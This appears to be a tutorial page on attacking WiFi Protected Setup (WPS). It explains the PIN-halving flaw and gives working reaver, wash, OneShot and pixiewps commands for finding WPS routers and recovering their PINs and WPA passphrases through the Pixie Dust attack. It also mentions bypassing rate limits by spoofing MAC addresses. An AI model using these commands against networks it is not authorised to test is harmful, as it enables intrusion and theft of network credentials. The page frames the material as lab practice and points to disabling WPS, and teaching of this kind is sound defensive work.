WPS Attack Techniques
WiFi Protected Setup (WPS) exploitation — the PIN design flaw, reconnaissance, and Pixie Dust. Online PIN brute force, vendor PIN algorithms and mitigation are in the sub-topics below.
Tooling
- • Wireless adapter in monitor mode
- •
reaverandpixiewpsinstalled (sudo apt install reaver pixiewps) - •
washfor WPS AP discovery (included with reaver) - • A test router with WPS enabled (many disable it after firmware updates)
Sub-topics
- Online Attacks & PIN Algorithms — reaver/bully brute force, rate-limit bypass, default and vendor-computed PINs, offline cracking.
- Operations & Mitigation — advanced techniques, troubleshooting, verification, and disabling WPS.
WPS Overview
WiFi Protected Setup (WPS) was introduced in 2006 to simplify WiFi setup for non-technical users. Instead of entering complex WPA2 passwords, users could press a button or enter an 8-digit PIN. However, the PIN method contains a catastrophic design flaw that reduces security from 10^8 combinations to just 11,000 attempts.
The vulnerability: WPS verifies the PIN in two separate halves—first 4 digits, then last 3 digits (the 8th digit is a checksum). An attacker only needs to brute force 10,000 possibilities for the first half, then 1,000 for the second half. This means any WPS-enabled router can be cracked in hours to days regardless of WPA2 password strength. Even worse, many routers use computed or hardcoded default PINs based on MAC address or serial number.
WPS Pixie-Dust attack
What is WPS?
WPS Overview
- Introduced: 2006 by WiFi Alliance
- Purpose: Simplify network setup
Methods:
- PIN Entry (most common)
- Push Button Configuration (PBC)
- NFC
- USB
Security Issues
- 8-digit PIN reduced to 11,000 combinations
- Last digit is checksum (effectively 7 digits)
- First 4 digits checked separately from last 3
- 10,000 + 1,000 = 11,000 max attempts (not 10^8)
WPS PIN Structure
# 8-digit PIN format: XXXX-XXX-C
# Example: 1234-567-8
Position 1-4: First half (10,000 possibilities)
Position 5-7: Second half (1,000 possibilities)
Position 8: Checksum digit
# Checksum calculation
def wps_checksum(pin):
accum = 0
for i in range(7):
accum += (3 * (int(pin[i]) % 2) + 1) * int(pin[i])
return (10 - (accum % 10)) % 10
# Valid PIN: first 7 digits + checksum
pin = "12345678"
checksum = wps_checksum(pin[:7])
valid_pin = pin[:7] + str(checksum)Reconnaissance
1. Identify WPS-Enabled Networks
# Wash - WPS scanner
sudo wash -i wlan0mon
# Output shows:
# BSSID | Channel | RSSI | WPS Version | WPS Locked | ESSID
# Filter for unlocked WPS
sudo wash -i wlan0mon | grep -v "Locked"
# Save results
sudo wash -i wlan0mon -o wps_targets.txt
# Alternative: airodump-ng
sudo airodump-ng wlan0mon --wps2. Check WPS Configuration
# Detailed WPS info: -vv prints the advertised WPS version and lock state
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv
# reaver's -S enables small-DH keys (a speed option, not a vulnerability probe)
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -S -N
# Test rate limiting
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv -l 30 -NPixie Dust Attack
Pixie Dust is an offline attack discovered in 2014 that exploits weak random number generation in WPS implementations. Instead of brute forcing 11,000 PINs online (slow), Pixie Dust computes the PIN offline in seconds by exploiting how routers generate nonces during WPS negotiation. This affects primarily Broadcom, Ralink, and some Realtek chipsets—roughly 30-40% of WPS-enabled routers.
How it works: During WPS registration, the router generates two secret nonces (E-S1 and E-S2) that should be random. Vulnerable implementations use low-entropy RNGs or even deterministic algorithms based on MAC address and timestamp. By capturing a single M1-M3 WPS handshake exchange, the Pixie Dust algorithm can reverse-engineer the nonces and directly compute the WPS PIN. The attack completes in 2-60 seconds depending on chipset, making it dramatically faster than brute force.
Warning
1. Reaver Pixie Dust
# Basic Pixie Dust attack
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -K
# With verbose output
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -K -vv
# Faster rate (if not rate limited)
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -K -d 0 -T 0.5
# Specify delay between attempts
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -K -d 2 -T 1
# Output on success:
# [+] WPS PIN: '12345670'
# [+] WPA PSK: 'supersecretpassword'
# [+] AP SSID: 'TargetNetwork'2. OneShot - Modern Pixie Dust Tool
# Install
git clone https://github.com/kimocoder/OneShot
cd OneShot
sudo python3 oneshot.py -i wlan0mon
# Target specific AP
sudo python3 oneshot.py -i wlan0mon -b <BSSID> -K
# With EAPOL start workaround
sudo python3 oneshot.py -i wlan0mon -b <BSSID> -K --no-eap
# Force specific mode
sudo python3 oneshot.py -i wlan0mon -b <BSSID> -K -m 2
# Modes:
# 1: M1-M2 exchange (fastest)
# 2: M1-M3 exchange
# 3: M1-M5 exchange (slowest but most compatible)3. Pixiewps - Offline PIN Recovery
# If you captured M1-M3 with reaver/bully, extract
# PKE, PKR, E-Hash1, E-Hash2, AuthKey, E-Nonce and R-Nonce
pixiewps -e <PKE> -r <PKR> -s <E-Hash1> -z <E-Hash2> \
-a <AuthKey> -n <E-Nonce> -m <R-Nonce>
# pixiewps auto-tries the known vendor modes (-m is R-Nonce, not a mode selector):
# 0 = auto-detect, 3 = Broadcom, 4 = Ralink (small S1/S2), 5 = RealtekVerify It Worked
| Check | Expected | Where to look |
|---|---|---|
| WPS APs enumerated | wash -i wlan0mon lists targets with BSSID, channel, WPS version and lock state | The wash output |
| Pixie Dust result read | reaver -K either prints "WPS PIN" and "WPA PSK" or reports the PIN was not found (patched RNG) | The reaver -K output |
| WPS disabled | After disabling WPS, wash no longer lists the target (or shows "No WPS") | The wash output |
Key Takeaways
Warning
- WPS = Weak: Design flaw reduces 8-digit PIN to 11,000 attempts
- Pixie Dust: Exploits weak RNG - works offline if vulnerable
- Disable WPS: Only reliable mitigation is complete WPS disablement
- Rate Limiting: Some routers lock WPS after failed attempts (bypass with MAC spoofing)
- Default PINs: Many vendors use computed/static default PINs
- Physical Button: WPS push-button is safer but still risky if enabled
WPS Attack Practice
Practice WPS PIN attacks including Pixie Dust and brute-force in an isolated lab environment.